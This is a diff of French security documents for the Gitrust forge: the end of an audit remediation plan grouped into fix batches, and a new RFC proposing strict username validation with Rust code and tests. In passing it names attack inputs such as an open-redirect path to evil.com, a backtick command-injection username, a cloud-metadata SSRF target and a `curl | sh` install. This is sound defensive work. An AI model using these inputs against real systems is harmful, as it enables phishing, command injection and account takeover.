184 +- **E-4** — Login SSR ignore `EMAIL_VALIDATION_REQUIRED` ; register n’envoie pas le mail.
185 + - **Gitrust** : après `authenticate_user`, lire `AppSettingsService::get_bool(..., "validation_email_required")` et bloquer si `!email_verified` ; à l’inscription appeler `EmailValidationService::send_validation_email` (service déjà utilisé). Attention : admin bootstrap est `email_verified=false` — prévoir exception ou le marquer vérifié à la création.
186 + - **Rustwarden RFC** si l’on veut que `AuthService::authenticate_user` refuse les emails non vérifiés **par défaut** (changement de comportement pour toutes les apps). Workaround Gitrust d’abord.
187 + - Apport : plus de comptes usurpateurs d’email opérationnels immédiatement.
188 +- **M-2** — Politique mot de passe absente à l’inscription / reset.
189 + - **Gitrust** : appeler `validate_password_complexity` avant `hash_password` dans `register_submit` et `reset_password_submit`.
190 + - **Rustwarden PR/RFC** : `PasswordResetService::reset_password` doit valider lui-même (le commentaire « Validate and hash » est mensonger). PR si on considère un bug ; RFC si nouveau contrat public.
191 + - Apport : plus de mot de passe `a` via « mot de passe oublié », y compris admin.
192 +- **M-3** — Rate limit email inerte (nouvelle instance par requête).
193 + - **Gitrust** : `OnceLock<PasswordResetService>` / `EmailValidationService` + limiteur IP.
194 + - **Rustwarden PR** : limiteur partagé (static / injecté) — bug interne, pas d’API publique nécessairement. Documenter le workaround.
195 + - Apport : plus de flood SMTP / harcèlement par reset.
196 +- **M-4** — Pas de ré-auth pour 2FA off, email, clé SSH, PAT.
197 + - **Gitrust** : exiger `current_password` (et TOTP si actif) sur ces POST. Logique métier forge/UI.
198 + - Apport : un cookie volé ne suffit plus à prendre le compte définitivement.
199 +- **M-5** — Changement d’email conserve `email_verified` *(upstream)*.
200 + - **Gitrust palliatif** : si un handler Gitrust change l’email, forcer `email_verified=false` via API existante si possible ; sinon ne pas exposer le changement d’email tant que le framework n’est pas corrigé.
201 + - **Rustwarden RFC** : flux confirmation nouvelle adresse + alerte ancienne (comportement + probablement table/pending). Obligatoire RFC.
202 + - Apport : plus de vol de compte par substitution d’email « déjà vérifié ».
203 +- **M-6** — Logout SSR ne blacklist pas le JWT.
204 + - **Gitrust** : appeler `JwtBlacklistService` (déjà utilisé par le logout API framework).
205 + - Apport : « se déconnecter » sur un poste public coupe l’accès en cours.
206 +- **M-7** — Pas d’anti-rejeu TOTP *(upstream, schéma DB)*.
207 + - **Gitrust palliatif** : mémoriser `(user_id, hash(code))` 90 s dans un `RateLimitService` statique.
208 + - **Rustwarden RFC** : colonne `last_used_step` → **RFC obligatoire** (migration).
209 + - Apport : un code intercepté (Evilginx) n’est plus rejouable.
210 +- **M-8** — `bcrypt::verify` synchrone sur backup codes *(upstream)*.
211 + - **Gitrust palliatif** : couvert par le rate limit E-3/E-2.
212 + - **Rustwarden PR** : `spawn_blocking` + comparaison sans court-circuit. Pas de RFC (interne).
213 + - Apport : plus de DoS du runtime Tokio via `/login/2fa`.
214 +- **M-9** — Squat d’empreinte SSH + oracle.
215 + - **Gitrust** : message d’erreur indistinguable ; idéalement preuve de possession (défi signé). Auth SSH : lier username présenté ↔ owner de la clé.
216 + - Apport : un attaquant ne peut plus bloquer la clé GitHub d’une victime ni l’usurper en SSH.
217 +- **M-11** — Open redirect `/\evil.com`.
218 + - **Gitrust** : normaliser `\` → `/` avant le test `starts_with('/') && !starts_with("//")`.
219 + - Apport : plus de phishing post-login depuis une URL gitrust légitime.
220 +
221 +---
222 +
223 +## Lot 5 — Git, SSH, CI, DoS
224 +
225 +**100 % Gitrust** (crates git/ssh/ssh-guard/core).
226 +
227 +- **E-12** — CVE russh 0.58 pré-auth.
228 + - Solution : `russh` / `russh-cryptovec` ≥ 0.60.3 ; adapter `Handler` si l’API a bougé ; `cargo audit --deny warnings` dans Dagger. Bumps `h2`, `rustls`, `bcrypt`, `quick-xml`, `ammonia` (hygiène ; ammonia non exploitable ici).
229 + - **Rustwarden PR** : bump `bcrypt` / `rustls` / `h2` dans le `Cargo.toml` framework (dépendances transitives). Gitrust peut quand même forcer via `[patch]` temporaire — à éviter ; préférer bump workspace + PR upstream pour bcrypt.
230 + - Apport : plus de DoS mémoire anonyme sur :2222.
231 +- **E-14** — Pas de timeout / limite pack.
232 + - Solution : `tokio::time::timeout` autour de `child.wait()` ; `DefaultBodyLimit` sur routes git ; `receive.maxInputSize` / `receive.fsckObjects`.
233 + - Apport : un client ne peut plus saturer CPU/disque par un receive-pack infini.
234 +- **E-19** — Runner CI colocalisé (`CI_REMOTE_HOST=localhost` par défaut).
235 + - Solution : si `APP_DEBUG=false`, refuser `localhost` ou warn fatal ; `env -i` pour `dagger call` ; doc opérateur : runner séparé, pas de socket Docker sur l’hôte forge.
236 + - Apport : le code CI d’un tenant n’est plus root sur la machine qui tient les dépôts privés.
237 +- **M-14** — Oracle 401 vs 404 (web + git).
238 + - Solution : 404 uniforme pour « inaccessible » ; redirect login seulement si cookie de session *présent*.
239 + - Apport : plus d’énumération de noms de dépôts privés.
240 +- **M-15** — Env git héritée.
241 + - Solution : `env_clear()` + PATH/HOME minimaux ; binaire git en chemin absolu.
242 + - Apport : `LD_PRELOAD` / `GIT_CONFIG` du process ne fuite plus vers le pack protocol.
243 +- **M-16** — SSRF import (DNS rebinding / redirects).
244 + - Solution : résoudre, valider **toutes** les IP, pinner ; re-valider les `Location:` ; couvrir `fe80::/10` et IPv4-mapped.
245 + - Apport : un import ne peut plus viser 169.254.169.254.
246 +- **M-17** — Markdown/syntect sans plafond.
247 + - Solution : cap body issue/PR/commentaire (64–256 KiB) ; timeout / fallback texte au-delà d’un seuil de highlight.
248 + - Apport : plus de DoS CPU à l’affichage d’une issue.
249 +- **M-18 / M-19** — Store ssh-guard non borné ; `MAX_CONCURRENT_PER_IP` jamais branché.
250 + - Solution : cap LRU sur le `Vec` d’événements ; brancher le compteur dans le listener.
251 + - Apport : flood SSH ne fait plus exploser la RAM ; limite de connexions effective.
252 +- **M-24** — `rm -rf` distant CI jamais awaité.
253 + - Solution : awaiter le cleanup ; workspace imprévisible par pipeline.
254 + - Apport : plus de fuite de code entre tenants sur le runner partagé.
255 +
256 +---
257 +
258 +## Lot 6 — Déploiement et durcissement opérateur
259 +
260 +**Gitrust / ops uniquement.**
261 +
262 +- **E-15** — `.env` distant pas en `600` : `chmod 600` + `chown gitrust` après rsync dans [deploy.sh](deployment/deploy.sh).
263 +- **E-16** — `APP_DEBUG=true` en prod : `false` + `COOKIE_SECURE=true` ; refuse de démarrer si HTTPS public + debug.
264 +- **E-17** — snakeoil nginx : Let’s Encrypt par défaut, snakeoil commenté, doc certbot.
265 +- **E-18** — PG `0.0.0.0:5432` + `pass3ord` : `127.0.0.1:5432` + `${POSTGRES_PASSWORD:?}`.
266 +- **M-20** — `curl | sh` / `source .env` : SHA épinglés, parse `KEY=value` sans shell.
267 +- **M-21** — systemd : retirer `CAP_NET_BIND_SERVICE` ; ajouter bounding set, seccomp, `MemoryMax`.
268 +- **M-22 / M-23** — Docker : épingler images, Syft versionnée, healthcheck, retirer `DATABASE_URL` du `ENV` image.
269 +- **M-25** — `deployment/root@gitrust.ebii.fr` : `git rm` + ignore `deployment/*@*`.
270 +
271 +Apport global du lot : une instance déployée par un tiers n’écoute plus Postgres sur Internet, n’envoie plus de cookies en clair, n’installe plus de binaires non vérifiés.
272 +
273 +---
274 +
275 +## Lot 7 — Faibles / info (regroupés)
276 +
277 +Pas de ticket unitaire : trois paquets, après les lots 0–6.
278 +
279 +**F-AUTH (Gitrust + 2 RFC)**
280 +`must_change_password` ignoré en SSR (`register_protected_prefix("/dashboard")` etc., lié au plan [rustwarden-a3-protected-prefixes-migration.md](docs/plans/rustwarden-a3-protected-prefixes-migration.md)) · 2FA obligatoire vs API (jeton d’enrôlement) · `POST /logout` + CSRF · rotation refresh avec grâce · scopes PAT UI (déjà E-8) · `session.cycle_id()` · complexité admin bootstrap (**Rustwarden PR** `AdminConfig`) · reset password révoque PAT/SSH.
281 +
282 +**F-UI**
283 +CSRF manquant sur le form delete user (403 aujourd’hui — bug fonctionnel) · XSS `confirm()` rôle admin · couleur label hexdigits · `allowed_classes` Markdown · `Cache-Control: no-store` dépôts privés · secrets CI masqués dans l’API JSON · COOP/CORP (**Rustwarden RFC** en-têtes, ou override Gitrust).
284 +
285 +**F-OPS**
286 +`deploy_ebii.conf` gitignoré · `.dockerignore` `.env*` · `RUST_LOG=info` · journal d’audit chaîné ou export append-only · `gitleaks`/`trufflehog` + `cargo audit` bloquant Dagger.
287 +
288 +---
289 +
290 +## Catalogue upstream à ouvrir (ordre)
291 +
292 +Documenter chaque entrée dans `UPSTREAM_RUSTWARDEN.md` *avant* d’implémenter le workaround, avec date, constat, et lien RFC/PR.
293 +
294 +1. **PR Security** — TOTP : compter les tentatives (E-3).
295 +2. **PR Security** — `KNOWN_EXAMPLES` + placeholder Gitrust (C-7).
296 +3. **PR** — `spawn_blocking` backup codes (M-8) ; rate limiter email partagé (M-3) ; `PasswordResetService` appelle la complexité (M-2, si traité comme bug).
297 +4. **PR** — bumps `bcrypt` / `rustls` / `h2` (E-12 collatéral).
298 +5. **RFC** — Validation charset `username` dans `UserService` / `RegisterRequest` (M-1) — **politique de sécu + défaut**.
299 +6. **RFC** — CSP configurable / sans `unsafe-eval` (M-10).
300 +7. **RFC** — Changement d’email avec revalidation (M-5) — **schéma/flow**.
301 +8. **RFC** — `last_used_step` TOTP (M-7) — **migration**.
302 +9. **RFC (plus tard)** — `AuthService` respecte `validation_email_required` (E-4) ; limiteur login sur canal browser (E-2) ; en-têtes COOP.
303 +
304 +Gitrust n’attend **pas** ces RFC pour se protéger : les workarounds des lots 1–4 ferment les scénarios A–D.
305 +
306 +---
307 +
308 +## Ordre d’exécution recommandé
309 +
310 +1. Lot 0 (rotation + gitignore) — **avant toute démo**.
311 +2. Lot 1 (username + `sh -c` + hooks) — ferme Scénario A.
312 +3. Lot 2 C-3 puis E-7/E-8/IDOR — ferme Scénario B.
313 +4. Lot 3 XSS + CSP override — ferme Scénario C.
314 +5. Lot 4 E-1/E-2 + palliatifs TOTP — ferme Scénario D.
315 +6. Lots 5–6 en parallèle (russh, deploy).
316 +7. RFCs / PRs rustwarden + `update-project`.
317 +8. Lot 7.
318 +
319 +Vérification par lot : tests unitaires du scénario (username rejeté, `prepare_workspace` sans shell, `merge_pull` 403 sans `can_manage`, templates sans interpolation JS) ; `cargo clippy --workspace -- -D warnings` ; `cargo audit`.
A docs/rfcs/0036-username-charset-validation.md
+364 -0
@@ -0,0 +1,364 @@
1 +# RFC 0036 — Validation charset `username` (newtype `Username`)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / Rustwarden 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Accepted (2026-09-18)
6 +- **Apps consommatrices concernées** : Gitrust (newtype local à retirer après Accept + impl) ; tout consommateur qui appelle `UserService::create_user` / `update_profile` ou `POST /api/v1/auth/register`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constat M-1 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 13)
9 +
10 +## Summary
11 +
12 +Introduire un newtype `Username` calqué sur [`TeamSlug`](../../crates/rustwarden-core/src/types/team_slug.rs) (`parse` → `Result<Self, AppError>`) et l’appliquer aux frontières d’écriture (`UserService::create_user`, `UserService::update_profile`, `RegisterRequest`) pour n’accepter que des identifiants GitHub-like (`^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` en tête/queue, pas de majuscule, liste réservée). Les comptes existants hors charset restent loggables : aucun `CHECK` SQL, aucun rewrite.
13 +
14 +## Motivation
15 +
16 +### Problème concret (audit M-1)
17 +
18 +Aujourd’hui un username n’est borné que par la **longueur** :
19 +
20 +- [`RegisterRequest`](../../crates/rustwarden-core/src/auth/handlers.rs) : `#[validate(length(min = 3, max = 64))]` — aucun charset.
21 +- [`UserService::create_user`](../../crates/rustwarden-core/src/services/user_service.rs) : insert SeaORM **sans** parse (la longueur n’est même pas re-vérifiée).
22 +- [`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) : uniquement `len() < 3` (et unicité). Pas de max, pas de charset.
23 +
24 +Conséquence : un client peut créer `Admin`, `` x`id`y ``, `alice--bob`, `-root`, ou un handle de 64 caractères. Ces valeurs fuient ensuite dans les URLs ActivityPub (`GET /users/{username}`), les logs, les e-mails et les chemins consommateurs (forge). PostgreSQL `UNIQUE` sur `users.username` est **sensible à la casse** : `Alice` et `alice` sont deux comptes.
25 +
26 +### Qui est impacté
27 +
28 +- **Gitrust** maintient déjà un newtype local `Username` pour se protéger ; tant que le framework n’en a pas, chaque consommateur réimplémente (ou n’implémente pas) des règles divergentes.
29 +- Tout appelant de `UserService::create_user` : register HTTP, admin UI (`rustwarden-ui`), `ensure_default_admin`, OAuth (`generate_unique_username`), `seed`, tests de services.
30 +- Les utilisateurs qui se **renomment** via `PUT /settings/profile` (`update_profile`).
31 +
32 +### Si on ne fait rien
33 +
34 +Gitrust conserve son newtype à vie (alternative C). Les autres apps restent ouvertes à l’injection de charset (backticks, collision de casse, usurpation de segments d’URL). Le framework documente encore `john_doe` (underscore) dans la rustdoc de `register` alors que Gitrust refuse déjà ce motif.
35 +
36 +### Urgence
37 +
38 +Pas un patch `1.0.1` : le plan Option A isole le charset en RFC pour ne pas casser les comptes existants ni livrer un rewrite. Bloquant pour retirer le newtype Gitrust après Accept + impl. Pas d’incident production unique ; durcissement de politique d’identité (critère RFC obligatoire : changement de politique de sécurité + nouvel item `pub`).
39 +
40 +## Non-goals
41 +
42 +- **Pas de migration SQL** qui réécrit `users.username` existants, ni de `CHECK` sur la colonne.
43 +- **Pas de patch 1.0.1** : ce document est Draft ; l’implémentation commence seulement après `Accepted`.
44 +- **Pas de charset e-mail** (RFC 0038 pour le changement d’e-mail / revalidation).
45 +- **Pas de fold silencieux** `to_ascii_lowercase` : `Alice` est rejeté, pas normalisé en `alice`.
46 +- **Pas de validation au login** (`AuthService::authenticate_user`, `get_user_by_username`) : un compte grandfathered doit encore s’authentifier.
47 +- **Pas de changement de signature** de `create_user` / `update_profile` (restent `String`) : le parse est interne.
48 +- **Pas de newtype sur les lectures** (`user::Model.username` reste `String`).
49 +- **Pas de réserve de `robots.txt`** : ce n’est pas un username (le point `.` est hors charset).
50 +
51 +## API proposée
52 +
53 +Nouveau fichier `crates/rustwarden-core/src/types/username.rs`, exporté comme `TeamSlug` (`types/mod.rs` + `prelude`).
54 +
55 +Règles de `Username::parse` (après `trim`, **sans** fold de casse) :
56 +
57 +| Règle | Accepté | Rejeté |
58 +|---|---|---|
59 +| Longueur | 3–39 | `ab`, 40+ caractères, vide / blancs seuls |
60 +| Charset | `[a-z0-9-]` | majuscule (`Alice`), `_`, `.`, espace, backtick |
61 +| Hyphen | `squad-42` | `-alice`, `alice-`, `alice--bob` |
62 +| Réservés | — | `team_slug::RESERVED` **plus** `me`, `explore` |
63 +
64 +`robots.txt` échoue sur le charset (`.`), pas sur la liste réservée.
65 +
66 +Liste réservée actuelle de [`team_slug::RESERVED`](../../crates/rustwarden-core/src/types/team_slug.rs) (constante de module, pas un associated const `TeamSlug::RESERVED`) :
67 +
68 +`admin`, `api`, `auth`, `health`, `login`, `logout`, `new`, `oauth`, `register`, `settings`, `signin`, `signout`, `signup`, `static`, `teams`.
69 +
70 +À l’implémentation : tester `team_slug::RESERVED.contains(&s)` **puis** `["me", "explore"]`, pour ne pas dupliquer le tableau (risque de drift). Voir Open questions pour le conflit `admin` / `ADMIN_USERNAME`.
71 +
72 +### Newtype
73 +
74 +```rust
75 +// crates/rustwarden-core/src/types/username.rs
76 +use crate::error::AppError;
77 +use crate::types::team_slug;
78 +
79 +/// Extra reserved logins on top of [`team_slug::RESERVED`].
80 +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"];
81 +
82 +/// Validated local username. Construct only via [`Username::parse`].
83 +#[derive(Debug, Clone, Eq, PartialEq, Hash, serde::Serialize, serde::Deserialize)]
84 +#[serde(transparent)]
85 +pub struct Username(String);
86 +
87 +impl Username {
88 + /// Parse a raw string into a `Username`.
89 + ///
90 + /// Trims ASCII/Unicode whitespace, then enforces charset and reserved
91 + /// names. Uppercase is rejected (no silent fold) so `Alice` and `alice`
92 + /// cannot collide. Returns [`AppError::Validation`] (HTTP 400).
93 + pub fn parse(raw: &str) -> Result<Self, AppError> {
94 + let s = raw.trim();
95 + if s.len() < 3 || s.len() > 39 {
96 + return Err(AppError::Validation(
97 + "Username must be 3-39 characters".into(),
98 + ));
99 + }
100 + if s.starts_with('-') || s.ends_with('-') {
101 + return Err(AppError::Validation(
102 + "Username cannot start or end with '-'".into(),
103 + ));
104 + }
105 + if s.contains("--") {
106 + return Err(AppError::Validation(
107 + "Username cannot contain consecutive '-'".into(),
108 + ));
109 + }
110 + if !s
111 + .chars()
112 + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
113 + {
114 + return Err(AppError::Validation(
115 + "Username must only contain lowercase letters, digits, and '-'".into(),
116 + ));
117 + }
118 + if team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s) {
119 + return Err(AppError::Validation(format!("Username '{s}' is reserved")));
120 + }
121 + Ok(Self(s.to_string()))
122 + }
123 +
124 + /// Return the username as a string slice.
125 + pub fn as_str(&self) -> &str {
126 + &self.0
127 + }
128 +
129 + /// Consume the `Username` and return the inner `String`.
130 + pub fn into_inner(self) -> String {
131 + self.0
132 + }
133 +}
134 +
135 +impl std::fmt::Display for Username {
136 + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
137 + f.write_str(&self.0)
138 + }
139 +}
140 +```
141 +
142 +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que le type n’est pas livré. Ils reprennent le patron réel de `TeamSlug::parse` / `as_str` / `into_inner` (vérifié : 8 tests `types::team_slug` verts).
143 +
144 +### Frontières d’écriture (signatures actuelles, inchangées)
145 +
146 +Signatures **aujourd’hui** (à conserver) :
147 +
148 +```rust
149 +// crates/rustwarden-core/src/services/user_service.rs
150 +impl UserService {
151 + pub async fn create_user(
152 + db: &DatabaseConnection,
153 + username: String,
154 + email: String,
155 + password_hash: String,
156 + must_change_password: bool,
157 + ) -> Result<user::Model, AppError> { /* ... */ }
158 +
159 + pub async fn update_profile(
160 + db: &DatabaseConnection,
161 + user_id: Uuid,
162 + username: Option<String>,
163 + email: Option<String>,
164 + ) -> Result<user::Model, AppError> { /* ... */ }
165 +}
166 +
167 +// crates/rustwarden-core/src/auth/handlers.rs
168 +#[derive(Debug, Deserialize, Validate)]
169 +pub struct RegisterRequest {
170 + /// Desired login name (3–39 characters after this RFC; currently 3–64).
171 + #[validate(length(min = 3, max = 39))]
172 + pub username: String,
173 + #[validate(email)]
174 + pub email: String,
175 + #[validate(length(min = 8))]
176 + pub password: String,
177 +}
178 +```
179 +
180 +Comportement **après Accept** :
181 +
182 +1. `create_user` appelle `Username::parse(&username)?` **avant** l’`insert`. Le `String` persisté est `parse(...).into_inner()` (déjà trimé).
183 +2. `update_profile` appelle `Username::parse` **seulement** si `username` est `Some` **et** différent du username courant (rename). Un update e-mail seul (`username: None`) ne touche pas le charset — grandfathering. Si le client renvoie le même username hors charset (formulaire profil), ne pas échouer : ce n’est pas un rename.
184 +3. `register` garde `payload.validate()` (longueur) **et** `Username::parse(&payload.username)?` avant `create_user` (défense en profondeur ; `create_user` reste la porte unique même si un autre handler bypasse `RegisterRequest`).
185 +
186 +### Usage consommateur
187 +
188 +```rust
189 +use rustwarden_core::error::AppError;
190 +use rustwarden_core::types::Username;
191 +
192 +fn accept_login_name(raw: &str) -> Result<String, AppError> {
193 + Ok(Username::parse(raw)?.into_inner())
194 +}
195 +
196 +async fn create_via_service(
197 + db: &sea_orm::DatabaseConnection,
198 +) -> Result<(), AppError> {
199 + // create_user still takes String; invalid values now return AppError::Validation.
200 + let _user = rustwarden_core::services::user_service::UserService::create_user(
201 + db,
202 + "alice".into(),
203 + "alice@example.com".into(),
204 + hashed_password(),
205 + false,
206 + )
207 + .await?;
208 + Ok(())
209 +}
210 +
211 +fn hashed_password() -> String {
212 + unimplemented!("placeholder for the RFC usage sketch")
213 +}
214 +```
215 +
216 +`hashed_password()` est un placeholder de documentation : ne pas copier en production.
217 +
218 +### Call sites à adapter dans le **même** PR d’implémentation
219 +
220 +Sans changer leur API publique, ces chemins cassent si `create_user` parse et qu’ils produisent encore `_` / majuscules / `admin` :
221 +
222 +| Call site | Motif actuel | Action après Accept |
223 +|---|---|---|
224 +| [`OAuthService::generate_unique_username`](../../crates/rustwarden-core/src/services/oauth/service.rs) | filtre `alphanumeric \|\| '_'` , pas de lowercase | émettre un candidat qui passe `Username::parse` (hyphen, minuscule, ≤ 39) |
225 +| [`AdminConfig::validate`](../../crates/rustwarden-core/src/config/admin.rs) | 3–64, `[A-Za-z0-9_-]` | déléguer à `Username::parse` (voir Open questions `admin`) |
226 +| [`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) | `create_user(config.username)` défaut `"admin"` | `"admin"` est dans `team_slug::RESERVED` |
227 +| rustdoc `register` / JWT examples | `john_doe` | remplacer par `john-doe` / `alice` |
228 +
229 +`seed.rs` (`richie`, `fonzie`, …) et les tests qui créent `alice` restent valides.
230 +
231 +## Analyse de compatibilité
232 +
233 +Checklist :
234 +
235 +- [ ] API existante non modifiée → **non-breaking** (patch/minor possible).
236 +- [x] API existante étendue avec défaut → **non-breaking** (minor) — *ajout* de `Username` + re-export prelude.
237 +- [x] API existante modifiée ou supprimée → **breaking comportemental** (payloads create/register/rename autrefois `200`/`201` → `400`). Signatures `create_user` / `update_profile` / `RegisterRequest.username: String` **inchangées**. SemVer processus §1 : un changement de comportement par défaut est breaking même si ça compile ; à trancher major vs minor Security (Open questions).
238 +- [x] Nouveau comportement par défaut → create / rename / register refusent charset hors GitHub-like. Login inchangé.
239 +- [ ] Changement de schéma DB → **non** : pas de `CHECK`, pas de rewrite. Grandfathering volontaire.
240 +- [x] Changement de format sérialisé → JSON register/profil : la **valeur** acceptée est plus stricte (`max` 64 → 39, plus d’underscore). Pas de nouveau champ.
241 +
242 +Consommateurs : Gitrust pourra supprimer son newtype dupliqué après bump. Les apps qui créent `John_Doe` devront adapter.
243 +
244 +## Alternatives considérées
245 +
246 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
247 +
248 +### Alternative A (recommandée) : newtype `Username` + `parse` aux frontières d’écriture
249 +
250 +**Pros** : une seule implémentation, impossible à contourner via `create_user` (admin UI, OAuth, seed, API). Patron déjà livré (`TeamSlug`). Gitrust retire sa copie. Trim OK, pas de fold → pas de collision `Alice`/`alice`. Grandfathering login préservé.
251 +
252 +**Cons** : breaking comportemental (underscore, majuscule, longueur > 39). `generate_unique_username` et le défaut `ADMIN_USERNAME=admin` doivent être traités dans le même PR. Charge de tests (batterie `TeamSlug` + reserved extra + backtick).
253 +
254 +### Alternative B : regex uniquement sur `RegisterRequest`
255 +
256 +**Pros** : diff minimal (`validator` + une regex). Pas de nouveau type public.
257 +
258 +**Cons** : `UserService::create_user` reste un trou (admin, OAuth, `ensure_default_admin`, apps qui n’utilisent pas `register`). Exactement le gap M-1. Deux couches (HTTP vs service) divergent. Gitrust ne peut pas supprimer son newtype.
259 +
260 +### Alternative C (ne rien faire / garder le workaround) : newtype Gitrust forever
261 +
262 +**Pros** : zéro coût, zéro risque upstream. Comptes exotiques restent créables pour les apps qui le veulent.
263 +
264 +**Cons** : dette et divergence entre consommateurs ; rustwarden-ui / register HTTP restent ouverts ; impersonation de casse et charset dangereux dans `/users/{username}`. Contredit l’audit M-1 et le processus « politique de sécurité → RFC puis implémentation partagée ».
265 +
266 +## Testing plan
267 +
268 +Tests unitaires obligatoires (copier la batterie [`team_slug.rs` tests](../../crates/rustwarden-core/src/types/team_slug.rs) vers ~L76, plus les règles username-only) :
269 +
270 +- Happy path : `Username::parse("alice")` et `"squad-42"` → `as_str()` identique ; trim `" alice "` → `"alice"`.
271 +- Erreur 1 — input invalide charset : `` Username::parse("x`id`y") ``, `"john_doe"`, `"alice.bob"`, `"Alice"` (majuscule, **pas** de fold).
272 +- Erreur 2 — contrainte violée forme : `""`, `"ab"` (< 3), 40 caractères, `"-alice"`, `"alice-"`, `"alice--bob"`.
273 +- Erreur 3 — reserved : chaque entrée de `team_slug::RESERVED`, plus `me` et `explore`. `robots.txt` est `Err` via charset, pas besoin d’être dans `EXTRA_RESERVED`.
274 +
275 +Tests d’intégration (service / DB) :
276 +
277 +- `create_user` refuse `` x`id`y `` avant insert (`AppError::Validation`) ; aucun row `users`.
278 +- `create_user("alice")` happy path (MockDatabase ou DB de test existante).
279 +- Grandfather : un user déjà en base avec username hors charset **peut encore** être chargé par `get_user_by_username` ; `update_profile(..., username: None, email: Some(...))` réussit sans toucher le username.
280 +- Rename : `update_profile` vers `Not-Valid` / `Admin` → `Validation` ; vers `bob` unique → OK.
281 +
282 +Tests de non-régression :
283 +
284 +- Code consommateur pré-RFC **compile** (signatures inchangées).
285 +- Login / JWT / refresh : pas d’appel à `Username::parse` sur le chemin lecture.
286 +
287 +Doctests :
288 +
289 +- Au moins un exemple copie/collable sur `Username::parse` (`alice` OK, `Alice` `is_err()`), exécuté comme doctest.
290 +
291 +Benchs : non (parse CPU-bound trivial, hors hot path auth bcrypt/JWT). Pas de seuil 10 %.
292 +
293 +Baseline vérifiée pour cette RFC Draft : `cargo test -p rustwarden-core types::team_slug --lib` → **8 passed**. Les exemples `Username::` ne sont **pas** exécutables avant l’implémentation.
294 +
295 +## Migration guide
296 +
297 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
298 +
299 +```markdown
300 +### API changes
301 +
302 +**Before (v1.0.x)** :
303 +`UserService::create_user` / `RegisterRequest` acceptaient tout `String` de 3–64
304 +caractères (underscores, majuscules, backticks). `update_profile` ne vérifiait
305 +que `len() >= 3`.
306 +
307 +**After (vX.Y.Z)** :
308 +Nouveau type public `rustwarden_core::types::Username`.
309 +`create_user`, `update_profile` (rename) et `POST /api/v1/auth/register`
310 +appellent `Username::parse` : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-`
311 +en tête/queue, pas de majuscule (pas de fold), noms réservés
312 +(`team_slug::RESERVED` + `me` + `explore`).
313 +Les comptes déjà en base hors charset restent valides au login.
314 +Pas de `CHECK` SQL.
315 +
316 +```rust
317 +// Optional explicit parse in a consumer handler
318 +let username = rustwarden_core::types::Username::parse(&raw)?.into_inner();
319 +UserService::create_user(db, username, email, hash, false).await?;
320 +```
321 +
322 +### Migration steps
323 +
324 +1. Bump `rustwarden-core` à la version qui livre RFC 0036.
325 +2. Auditer les usernames **créés par l’app** (fixtures, OAuth, CLI, seeds) :
326 + remplacer `_` par `-`, lowercaser, tronquer à 39, éviter `admin` / `me` / `explore`.
327 +3. Gitrust : supprimer le newtype local `Username` au profit de
328 + `rustwarden_core::types::Username` (`update-project` / bump path).
329 +4. Ne **pas** lancer de rewrite SQL des comptes existants.
330 +5. Vérifier `ADMIN_USERNAME` : la valeur par défaut `"admin"` est réservée
331 + (voir RFC 0036 Open questions) — définir un login non réservé sur les
332 + **nouvelles** installs.
333 +```
334 +
335 +## Open questions
336 +
337 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
338 +
339 +- [x] **`ADMIN_USERNAME` défaut `"admin"` vs `team_slug::RESERVED`** : `ensure_default_admin` appelle `create_user("admin")`. Après parse, une install neuve échoue. Trancher : (1) garder `admin` réservé (anti-impersonation `/users/admin`, aligné GitHub) et exiger un `ADMIN_USERNAME` non réservé ; (2) retirer `admin` de la liste **username** tout en le gardant pour les slugs d’équipe ; (3) associated const distincte. Bloquant Accept. **Résolu (2026-09-18) : Option (1) durcie : `admin` reste réservé au register/rename publics ; le bootstrap `ensure_default_admin` passe par un chemin interne `pub(crate)` (parse avec charset strict mais noms réservés autorisés) ; `AdminConfig::validate` délègue à ce même chemin. Les installs par défaut (`ADMIN_USERNAME=admin`) continuent de fonctionner.**
340 +- [x] **SemVer** : breaking comportemental sans changement de signature → major, ou minor `Security` documenté ? Le processus §1 penche major. **Résolu (2026-09-18) : 1.1.0 minor avec section `Security` au CHANGELOG (framework vendored, breaking comportemental documenté).**
341 +- [x] **`update_profile` same-value** : confirmer le skip parse quand `Some(current)` (formulaires qui POST le username courant) pour ne pas bloquer un update e-mail d’un compte grandfathered. **Résolu (2026-09-18) : confirmé — skip du parse quand le username soumis est identique au username courant (pas un rename).**
342 +- [x] **OAuth `generate_unique_username`** : dans le PR d’implémentation (recommandé) ou RFC séparée ? Sans alignement, le signup OAuth casse dès que `create_user` parse (`_` aujourd’hui). **Résolu (2026-09-18) : aligné dans le même PR d’implémentation (candidats lowercase, hyphens, ≤ 39, hors réservés).**
343 +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md, pas d’issue externe.**
344 +
345 +## Tracking issue
346 +
347 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-1 et Gitrust comme premier consommateur. Pas d’URL tant que le Draft n’est pas soumis.
348 +
349 +---
350 +
351 +## Score d'évaluation (rempli par les reviewers)
352 +
353 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
354 +
355 +| Critère | Note (1-5) | Commentaire |
356 +|---|---|---|
357 +| Généralité | 5 | Tout consommateur de `UserService::create_user` en bénéficie ; Gitrust retire un newtype local. |
